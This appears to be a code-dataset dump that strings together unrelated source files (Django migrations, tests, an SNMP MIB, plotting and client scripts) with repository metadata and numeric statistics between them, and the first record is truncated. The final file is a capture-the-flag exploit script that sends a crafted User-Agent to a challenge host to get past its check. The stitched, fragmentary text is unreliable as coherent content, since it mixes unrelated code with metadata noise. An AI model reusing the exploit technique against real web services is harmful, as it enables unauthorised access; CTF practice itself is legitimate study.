"MISSING_MESSAGE_TYPE": (1, "No message type found."),
"MISSING_PAYLOAD": (2, "No data payload found."),
"OBJECT_NOT_FOUND": lambda name: (3, "Object does not exist: ".format(name)),
"MISSING_KE... | 26.868687 | 92 | 0.681579 | 343 | 2,660 | 5.215743 | 0.443149 | 0.004472 | 0.040246 | 0.051425 | 0.093907 | 0.093907 | 0.029067 | 0.029067 | 0 | 0 | 0 | 0.016279 | 0.191729 | 2,660 | 98 | 93 | 27.142857 | 0.815814 | 0.316541 | 0 | 0.153846 | 0 | 0 | 0.285795 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.019231 | false | 0.076923 | 0.115385 | 0 | 0.230769 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
c82fa747af4872c6a9b7a03d5c3633994a7c35b3 | 4,821 | py | Python | controle_financeiro/lancamentos/migrations/0001_initial.py | douglaspands/controle-financeiro | 1f8f44dca6132b730e92ccf62447dede4119b28e | [
"MIT"
] | null | null | null | controle_financeiro/lancamentos/migrations/0001_initial.py | douglaspands/controle-financeiro | 1f8f44dca6132b730e92ccf62447dede4119b28e | [
"MIT"
] | null | null | null | controle_financeiro/lancamentos/migrations/0001_initial.py | douglaspands/controle-financeiro | 1f8f44dca6132b730e92ccf62447dede4119b28e | [
"MIT"
] | 1 | 2021-06-15T22:14:22.000Z | 2021-06-15T22:14:22.000Z | # Generated by Django 3.2 on 2021-04-27 02:00
import django.core.validators
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
('carteiras', '0001_initial'),
]
operations = [
migrations.Cr... | 46.805825 | 153 | 0.564198 | 442 | 4,821 | 6 | 0.246606 | 0.093137 | 0.079186 | 0.094268 | 0.630845 | 0.620664 | 0.541855 | 0.541855 | 0.521493 | 0.521493 | 0 | 0.016812 | 0.284381 | 4,821 | 102 | 154 | 47.264706 | 0.751884 | 0.008919 | 0 | 0.547368 | 1 | 0 | 0.146985 | 0.02366 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.031579 | 0 | 0.073684 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c82fbf99a62128d670554b669d16398050605487 | 726 | py | Python | test_time_log_window.py | sphericalpm/jira-quick-reporter | c203b51fc36d78974437cbb970cedd0dcf2cd99f | [
"MIT"
] | 1 | 2020-02-26T14:53:24.000Z | 2020-02-26T14:53:24.000Z | test_time_log_window.py | sphericalpm/jira-quick-reporter | c203b51fc36d78974437cbb970cedd0dcf2cd99f | [
"MIT"
] | null | null | null | test_time_log_window.py | sphericalpm/jira-quick-reporter | c203b51fc36d78974437cbb970cedd0dcf2cd99f | [
"MIT"
] | null | null | null | from jiraclient import JiraClient
import unittest
from types import SimpleNamespace as sn
class Test(unittest.TestCase):
def test_get_remaining_estimate_empty(self):
issue = sn(
fields=sn(
timetracking=sn(
raw={}
)
)
)
... | 24.2 | 72 | 0.548209 | 66 | 726 | 5.742424 | 0.424242 | 0.126649 | 0.211082 | 0.100264 | 0.596306 | 0.453826 | 0.453826 | 0.189974 | 0 | 0 | 0 | 0.006479 | 0.362259 | 726 | 29 | 73 | 25.034483 | 0.812095 | 0 | 0 | 0.25 | 0 | 0 | 0.0427 | 0 | 0 | 0 | 0 | 0 | 0.083333 | 1 | 0.083333 | false | 0 | 0.125 | 0 | 0.25 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c83a33d4b329f3a926d5b310d3f187c77b9c5d14 | 2,206 | py | Python | swaty/classes/subbasin.py | changliao1025/pyswat | cdcda1375be8c0f71459a78438b1e9f8a22a77bc | [
"MIT"
] | 2 | 2021-12-11T01:39:00.000Z | 2022-02-15T17:57:45.000Z | swaty/classes/subbasin.py | changliao1025/pyswat | cdcda1375be8c0f71459a78438b1e9f8a22a77bc | [
"MIT"
] | 5 | 2022-03-10T16:38:30.000Z | 2022-03-28T17:31:20.000Z | swaty/classes/subbasin.py | changliao1025/pyswat | cdcda1375be8c0f71459a78438b1e9f8a22a77bc | [
"MIT"
] | null | null | null | import os,stat
import sys
import glob
import shutil
import numpy as np
from pathlib import Path
import tarfile
import subprocess
from shutil import copyfile
from abc import ABCMeta, abstractmethod
import datetime
from shutil import copy2
import json
from json import JSONEncoder
from swaty.classes.swatpara import swatp... | 26.578313 | 68 | 0.602901 | 242 | 2,206 | 5.318182 | 0.371901 | 0.097902 | 0.058275 | 0.041958 | 0.04662 | 0 | 0 | 0 | 0 | 0 | 0 | 0.005435 | 0.332729 | 2,206 | 83 | 69 | 26.578313 | 0.868886 | 0 | 0 | 0.117647 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.058824 | false | 0.058824 | 0.220588 | 0 | 0.529412 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
c83d22b02efd151a14a6652cfacc759a395de65f | 1,099 | py | Python | instructors/need-rework/24_curses/cu0.py | mgadagin/PythonClass | 70b370362d75720b3fb0e1d6cc8158f9445e9708 | [
"MIT"
] | 46 | 2017-09-27T20:19:36.000Z | 2020-12-08T10:07:19.000Z | instructors/need-rework/24_curses/cu0.py | mgadagin/PythonClass | 70b370362d75720b3fb0e1d6cc8158f9445e9708 | [
"MIT"
] | 6 | 2018-01-09T08:07:37.000Z | 2020-09-07T12:25:13.000Z | instructors/need-rework/24_curses/cu0.py | mgadagin/PythonClass | 70b370362d75720b3fb0e1d6cc8158f9445e9708 | [
"MIT"
] | 18 | 2017-10-10T02:06:51.000Z | 2019-12-01T10:18:13.000Z | import curses
def main(stdscr):
""" Curses is controlled from here.
This might be called 'the loop' in a game.
game loop: http://gameprogrammingpatterns.com/game-loop.html
"""
curses.textpad.rectangle(stdscr,0,0,10,10)
keypress = int()
# 113 is the lowercase 'q' key.
while ke... | 26.166667 | 82 | 0.591447 | 137 | 1,099 | 4.686131 | 0.605839 | 0.031153 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.019737 | 0.308462 | 1,099 | 41 | 83 | 26.804878 | 0.825 | 0.060055 | 0 | 0 | 0 | 0 | 0.014414 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.052632 | null | null | 0.052632 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c84093ad41be5a80549ffaa4362f80af27bdde00 | 5,298 | py | Python | pysnmp/ELTEX-MES-eltMacNotification-MIB.py | agustinhenze/mibs.snmplabs.com | 1fc5c07860542b89212f4c8ab807057d9a9206c7 | [
"Apache-2.0"
] | 11 | 2021-02-02T16:27:16.000Z | 2021-08-31T06:22:49.000Z | pysnmp/ELTEX-MES-eltMacNotification-MIB.py | agustinhenze/mibs.snmplabs.com | 1fc5c07860542b89212f4c8ab807057d9a9206c7 | [
"Apache-2.0"
] | 75 | 2021-02-24T17:30:31.000Z | 2021-12-08T00:01:18.000Z | pysnmp/ELTEX-MES-eltMacNotification-MIB.py | agustinhenze/mibs.snmplabs.com | 1fc5c07860542b89212f4c8ab807057d9a9206c7 | [
"Apache-2.0"
] | 10 | 2019-04-30T05:51:36.000Z | 2022-02-16T03:33:41.000Z | #
# PySNMP MIB module ELTEX-MES-eltMacNotification-MIB (http://snmplabs.com/pysmi)
# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/ELTEX-MES-eltMacNotification-MIB
# Produced by pysmi-0.3.4 at Mon Apr 29 18:47:57 2019
# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4
# Using Pyt... | 126.142857 | 774 | 0.784636 | 546 | 5,298 | 7.60989 | 0.254579 | 0.006739 | 0.009386 | 0.012515 | 0.344164 | 0.238508 | 0.238508 | 0.238508 | 0.209146 | 0.209146 | 0 | 0.07334 | 0.076066 | 5,298 | 41 | 775 | 129.219512 | 0.775485 | 0.067573 | 0 | 0 | 0 | 0 | 0.210708 | 0.062462 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.264706 | 0 | 0.264706 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c8510bbf426306c31d5d79d9ac7cfc09ee0ead3a | 1,674 | py | Python | jobson_systemtests/cli.py | adamkewley/jobson_systemtests | dda9aab1288176b2dcc61e98470167661db36101 | [
"Apache-2.0"
] | null | null | null | jobson_systemtests/cli.py | adamkewley/jobson_systemtests | dda9aab1288176b2dcc61e98470167661db36101 | [
"Apache-2.0"
] | null | null | null | jobson_systemtests/cli.py | adamkewley/jobson_systemtests | dda9aab1288176b2dcc61e98470167661db36101 | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... | 26.571429 | 75 | 0.655317 | 232 | 1,674 | 4.646552 | 0.482759 | 0.055659 | 0.07885 | 0.038961 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.009516 | 0.246714 | 1,674 | 62 | 76 | 27 | 0.845361 | 0.335125 | 0 | 0.243243 | 0 | 0 | 0.25592 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.027027 | false | 0.081081 | 0.081081 | 0 | 0.135135 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
c85144bac6123e02ed3bf84a46d7ee0cac38ad54 | 563 | py | Python | conventions/migrations/0008_auto_20210831_1707.py | MTES-MCT/appel | 3b840ccea600ef31cfea57721fe5e6edbdbc2c79 | [
"MIT"
] | null | null | null | conventions/migrations/0008_auto_20210831_1707.py | MTES-MCT/appel | 3b840ccea600ef31cfea57721fe5e6edbdbc2c79 | [
"MIT"
] | 2 | 2021-12-15T05:10:43.000Z | 2021-12-15T05:11:00.000Z | conventions/migrations/0008_auto_20210831_1707.py | MTES-MCT/appel | 3b840ccea600ef31cfea57721fe5e6edbdbc2c79 | [
"MIT"
] | 1 | 2021-12-28T13:06:06.000Z | 2021-12-28T13:06:06.000Z | # Generated by Django 3.2.5 on 2021-08-31 15:07
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
("conventions", "0007_auto_20210831_0908"),
]
operations = [
migrations.AddField(
model_name="convention",
name="fond_... | 23.458333 | 62 | 0.586146 | 57 | 563 | 5.666667 | 0.736842 | 0.055728 | 0.117647 | 0.142415 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.086294 | 0.300178 | 563 | 23 | 63 | 24.478261 | 0.733503 | 0.079929 | 0 | 0.235294 | 1 | 0 | 0.137597 | 0.044574 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.058824 | 0 | 0.235294 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c85c723000c89c05137504f5c27e402d07e651d9 | 1,868 | py | Python | examples/reply_keyboard/button.py | dotX12/waio | 6bc41df2d650f31fdb11a1a2b67c6149afa0e11a | [
"MIT"
] | 24 | 2021-11-08T13:37:05.000Z | 2022-03-24T12:49:54.000Z | examples/reply_keyboard/button.py | dotX12/waio | 6bc41df2d650f31fdb11a1a2b67c6149afa0e11a | [
"MIT"
] | 1 | 2022-01-19T03:11:58.000Z | 2022-01-19T03:13:30.000Z | examples/reply_keyboard/button.py | dotX12/waio | 6bc41df2d650f31fdb11a1a2b67c6149afa0e11a | [
"MIT"
] | 5 | 2021-11-11T04:11:12.000Z | 2022-02-15T10:41:58.000Z | from waio.keyboard.reply import QuickReplyContentText, QuickReply, KeyboardButton, QuickReplyContentImage
from callback import callback_reply_keyboard
def generate_keyboard_place():
kb_content = QuickReplyContentText(
header="Куда вы сегодня хотите сходить?",
text="Выберите из предложенного списка... | 36.627451 | 122 | 0.719486 | 219 | 1,868 | 5.981735 | 0.369863 | 0.054962 | 0.134351 | 0.073282 | 0.483969 | 0.40229 | 0.358015 | 0.358015 | 0.321374 | 0.255725 | 0 | 0.014058 | 0.162206 | 1,868 | 50 | 123 | 37.36 | 0.823003 | 0.047109 | 0 | 0.289474 | 1 | 0 | 0.19685 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.105263 | false | 0 | 0.052632 | 0 | 0.263158 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c85cac98c8c8e5eafe22c472d4e226903ba4d276 | 4,876 | py | Python | KAT7/reduction/horizon_mask_reduction.py | ska-sa/katsdpscripts | f9eaa867aad8b94c715f7286953124df00b5781c | [
"BSD-3-Clause"
] | null | null | null | KAT7/reduction/horizon_mask_reduction.py | ska-sa/katsdpscripts | f9eaa867aad8b94c715f7286953124df00b5781c | [
"BSD-3-Clause"
] | 21 | 2019-09-16T15:26:53.000Z | 2022-01-11T09:14:39.000Z | KAT7/reduction/horizon_mask_reduction.py | ska-sa/katsdpscripts | f9eaa867aad8b94c715f7286953124df00b5781c | [
"BSD-3-Clause"
] | 1 | 2019-11-11T11:47:54.000Z | 2019-11-11T11:47:54.000Z | #!/usr/bin/python
# Plot horizon mask
import optparse
import numpy as np
import matplotlib.pyplot as plt
import matplotlib.mlab as mlab
import scape
from katpoint import rad2deg
def remove_rfi(d,width=3,sigma=5,axis=1):
for i in range(len(d.scans)):
d.scans[i].data = scape.stats.remove_spikes(d.scans[i].... | 48.277228 | 265 | 0.613823 | 699 | 4,876 | 4.221745 | 0.360515 | 0.030837 | 0.042697 | 0.037953 | 0.123348 | 0.094205 | 0.085395 | 0.085395 | 0.085395 | 0.085395 | 0 | 0.029428 | 0.233388 | 4,876 | 100 | 266 | 48.76 | 0.760032 | 0.137818 | 0 | 0 | 0 | 0.014286 | 0.218877 | 0 | 0 | 0 | 0 | 0 | 0.014286 | 0 | null | null | 0 | 0.085714 | null | null | 0.114286 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c85f1fb93eb5ed055f295e876fe0b2845594d529 | 7,071 | py | Python | tests/test_pathutils.py | pombredanne/https-github.com-nexB-tracecode-toolkit | 5bb5741cd051f991c4d1944035dc00211dbcac6d | [
"Apache-2.0"
] | 21 | 2018-01-21T18:31:08.000Z | 2021-04-10T07:25:56.000Z | tests/test_pathutils.py | pombredanne/https-github.com-nexB-tracecode-toolkit | 5bb5741cd051f991c4d1944035dc00211dbcac6d | [
"Apache-2.0"
] | 4 | 2019-10-07T02:09:22.000Z | 2019-12-02T15:12:15.000Z | tests/test_pathutils.py | pombredanne/https-github.com-nexB-tracecode-toolkit | 5bb5741cd051f991c4d1944035dc00211dbcac6d | [
"Apache-2.0"
] | 8 | 2018-07-20T11:04:13.000Z | 2022-01-29T19:20:48.000Z | #
# Copyright (c) nexB Inc. and others. All rights reserved.
# http://nexb.com and https://github.com/nexB/tracecode-toolkit/
# The TraceCode software is licensed under the Apache License version 2.0.
# Data generated with TraceCode require an acknowledgment.
# TraceCode is a trademark of nexB Inc.
#
# You may not use ... | 38.639344 | 88 | 0.643049 | 1,019 | 7,071 | 4.218842 | 0.182532 | 0.162829 | 0.105839 | 0.138404 | 0.662247 | 0.655501 | 0.627355 | 0.597116 | 0.556641 | 0.451035 | 0 | 0.012197 | 0.223165 | 7,071 | 182 | 89 | 38.851648 | 0.770435 | 0.196719 | 0 | 0.290598 | 0 | 0 | 0.089317 | 0.008313 | 0 | 0 | 0 | 0 | 0.299145 | 1 | 0.299145 | false | 0 | 0.051282 | 0 | 0.358974 | 0.008547 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c86228ec95df02a663b95c8f569bd4f3ca059269 | 390 | py | Python | django_learning/dim_sum/migrations/0002_dimsum_history.py | angelptli/django-learning | f0d25e4b85526c2c092c4e4d2f108e7602db7f0d | [
"MIT"
] | null | null | null | django_learning/dim_sum/migrations/0002_dimsum_history.py | angelptli/django-learning | f0d25e4b85526c2c092c4e4d2f108e7602db7f0d | [
"MIT"
] | null | null | null | django_learning/dim_sum/migrations/0002_dimsum_history.py | angelptli/django-learning | f0d25e4b85526c2c092c4e4d2f108e7602db7f0d | [
"MIT"
] | null | null | null | # Generated by Django 3.2.8 on 2021-10-24 01:32
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('dim_sum', '0001_initial'),
]
operations = [
migrations.AddField(
model_name='dimsum',
name='history',
fi... | 20.526316 | 66 | 0.589744 | 42 | 390 | 5.404762 | 0.857143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.068592 | 0.289744 | 390 | 18 | 67 | 21.666667 | 0.750903 | 0.115385 | 0 | 0 | 1 | 0 | 0.148688 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.083333 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c86647b649f78481daf69e80d131b3b17cb26dec | 2,748 | py | Python | rp2paths/DotStyle.py | brsynth/RP2paths | dea681ed2ed02f3b5dde946da07e1439186299ce | [
"MIT"
] | 13 | 2017-12-20T14:51:58.000Z | 2021-12-25T13:01:04.000Z | rp2paths/DotStyle.py | brsynth/RP2paths | dea681ed2ed02f3b5dde946da07e1439186299ce | [
"MIT"
] | 4 | 2018-10-12T07:51:55.000Z | 2020-07-27T13:20:57.000Z | rp2paths/DotStyle.py | brsynth/RP2paths | dea681ed2ed02f3b5dde946da07e1439186299ce | [
"MIT"
] | 7 | 2018-10-04T10:16:52.000Z | 2021-05-07T05:51:47.000Z | """Class for setting the appearance of a dot file.
Copyright (C) 2016-2017 Thomas Duigou, JL Faulon's research group, INRA
Use of this source code is governed by the MIT license that can be found in the
LICENSE.txt file.
"""
class NodeStyle(object):
"""General class for node style."""
def __init__(self, *... | 23.487179 | 79 | 0.52329 | 275 | 2,748 | 5.025455 | 0.294545 | 0.078148 | 0.063676 | 0.098408 | 0.560781 | 0.526049 | 0.526049 | 0.526049 | 0.526049 | 0.526049 | 0 | 0.012319 | 0.320597 | 2,748 | 116 | 80 | 23.689655 | 0.727906 | 0.247817 | 0 | 0.703125 | 0 | 0 | 0.104622 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.15625 | false | 0 | 0 | 0 | 0.3125 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c866f1d57bbc3c5c4fb439f6b5dadb9df36c262e | 8,017 | py | Python | mandala/tests/test_deletion.py | amakelov/mandala | a9ec051ef730ada4eed216c62a07b033126e78d5 | [
"Apache-2.0"
] | 9 | 2022-02-22T19:24:01.000Z | 2022-03-23T04:46:41.000Z | mandala/tests/test_deletion.py | amakelov/mandala | a9ec051ef730ada4eed216c62a07b033126e78d5 | [
"Apache-2.0"
] | null | null | null | mandala/tests/test_deletion.py | amakelov/mandala | a9ec051ef730ada4eed216c62a07b033126e78d5 | [
"Apache-2.0"
] | null | null | null | from .utils import *
from .funcs import *
from .conftest import setup_tests
def test_simple(setup_tests):
storage, cts = setup_tests
storage:Storage
############################################################################
### unit
#########################################################... | 32.99177 | 85 | 0.535487 | 1,018 | 8,017 | 4.111002 | 0.1611 | 0.028435 | 0.05687 | 0.044683 | 0.696296 | 0.650179 | 0.583513 | 0.542174 | 0.492234 | 0.36368 | 0 | 0.016895 | 0.261694 | 8,017 | 243 | 86 | 32.99177 | 0.69015 | 0.06586 | 0 | 0.713514 | 0 | 0 | 0.004049 | 0 | 0 | 0 | 0 | 0 | 0.118919 | 1 | 0.07027 | false | 0 | 0.016216 | 0.037838 | 0.12973 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c868356a11c1f27a9935bbaa4f89a781d3744fa1 | 2,535 | py | Python | ist-study-table-roc.py | lhwangbo/m-ist | 11905afef363fb8e447840f9584abbae07e01c06 | [
"Apache-2.0"
] | null | null | null | ist-study-table-roc.py | lhwangbo/m-ist | 11905afef363fb8e447840f9584abbae07e01c06 | [
"Apache-2.0"
] | null | null | null | ist-study-table-roc.py | lhwangbo/m-ist | 11905afef363fb8e447840f9584abbae07e01c06 | [
"Apache-2.0"
] | null | null | null | import time
import matplotlib.pyplot as plt
from joblib import dump, load
from sklearn.model_selection import *
# A custom-made library for reporting
from my_eval_functions import set_seeds, get_clf_eval, dingdong, printtimer
# Written by Lee HWANGBO, MD. Dec 2021.
##### BEGIN
print('Loading dataframe, base, and ensem... | 46.944444 | 115 | 0.507692 | 265 | 2,535 | 4.637736 | 0.332075 | 0.034174 | 0.040683 | 0.039056 | 0.450773 | 0.450773 | 0.411717 | 0.346623 | 0.346623 | 0.211554 | 0 | 0.009582 | 0.09428 | 2,535 | 53 | 116 | 47.830189 | 0.525697 | 0.071795 | 0 | 0.421053 | 0 | 0 | 0.465712 | 0.323351 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.131579 | 0 | 0.131579 | 0.5 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 |
c86c71ecd8306976721ec1743a54f1bc7fbf4b36 | 633 | py | Python | ex022.py | LucasIdalino/Exerc-cios-do-Curso | 4ca4610d1acfe4672c20114f891b6aabae816049 | [
"MIT"
] | null | null | null | ex022.py | LucasIdalino/Exerc-cios-do-Curso | 4ca4610d1acfe4672c20114f891b6aabae816049 | [
"MIT"
] | null | null | null | ex022.py | LucasIdalino/Exerc-cios-do-Curso | 4ca4610d1acfe4672c20114f891b6aabae816049 | [
"MIT"
] | null | null | null | #Valor da variável sem espaços no ínicio e fim.
nome = str(input("Seu nome: ")).strip()
#Valor da variável em letras maiúscula.
print("Maiúscula:", nome.upper(), "\033[1;32m<--\033[m")
#Valor da variável em letras minúsculas.
print("Minúscula:", nome.lower(), "\033[1;32m<--\033[m")
#Contando quantas letras tem o val... | 35.166667 | 72 | 0.663507 | 100 | 633 | 4.2 | 0.4 | 0.066667 | 0.066667 | 0.095238 | 0.32381 | 0 | 0 | 0 | 0 | 0 | 0 | 0.066547 | 0.121643 | 633 | 17 | 73 | 37.235294 | 0.688849 | 0.467615 | 0 | 0 | 0 | 0 | 0.429003 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.666667 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 |
c06d4dec9cf4dfa20c3b30462e99b2b963c92661 | 4,748 | py | Python | client.py | bollacker/lri-b | da223e843bfdb39a75f088671ca894b48b3392f4 | [
"Apache-2.0"
] | null | null | null | client.py | bollacker/lri-b | da223e843bfdb39a75f088671ca894b48b3392f4 | [
"Apache-2.0"
] | 1 | 2021-02-08T20:19:08.000Z | 2021-02-08T20:19:08.000Z | client.py | bollacker/lri-b | da223e843bfdb39a75f088671ca894b48b3392f4 | [
"Apache-2.0"
] | 1 | 2015-09-30T14:47:06.000Z | 2015-09-30T14:47:06.000Z | #!/usr/bin/env python
# Copyright 2012-2013 inBloom, Inc. and its affiliates.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless require... | 35.432836 | 133 | 0.579823 | 637 | 4,748 | 4.262166 | 0.33124 | 0.01547 | 0.025783 | 0.033149 | 0.155064 | 0.13407 | 0.13407 | 0.110497 | 0.061878 | 0.033149 | 0 | 0.016309 | 0.263901 | 4,748 | 133 | 134 | 35.699248 | 0.760515 | 0.172915 | 0 | 0.202247 | 0 | 0 | 0.106321 | 0.007574 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.011236 | null | null | 0.089888 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c06d761db10a28b90efb9e8e64e98f0fb2eefe21 | 174 | py | Python | DarkCTF 2020/Web/Source/exploit.py | UnknownAbyss/CTF-Write-ups | 5e9812afefaad7cfd823c0a52c9679d88d4b9508 | [
"MIT"
] | 73 | 2020-06-14T03:25:45.000Z | 2022-03-30T10:22:08.000Z | DarkCTF 2020/Web/Source/exploit.py | UnknownAbyss/CTF-Write-ups | 5e9812afefaad7cfd823c0a52c9679d88d4b9508 | [
"MIT"
] | 6 | 2020-06-18T17:17:36.000Z | 2021-10-04T09:38:12.000Z | DarkCTF 2020/Web/Source/exploit.py | UnknownAbyss/CTF-Write-ups | 5e9812afefaad7cfd823c0a52c9679d88d4b9508 | [
"MIT"
] | 30 | 2020-06-11T17:29:56.000Z | 2022-03-14T00:39:31.000Z | import requests
url = 'http://source.darkarmy.xyz/'
r = requests.get(url, headers={
'user-agent': '9e9',
})
print(r.text)
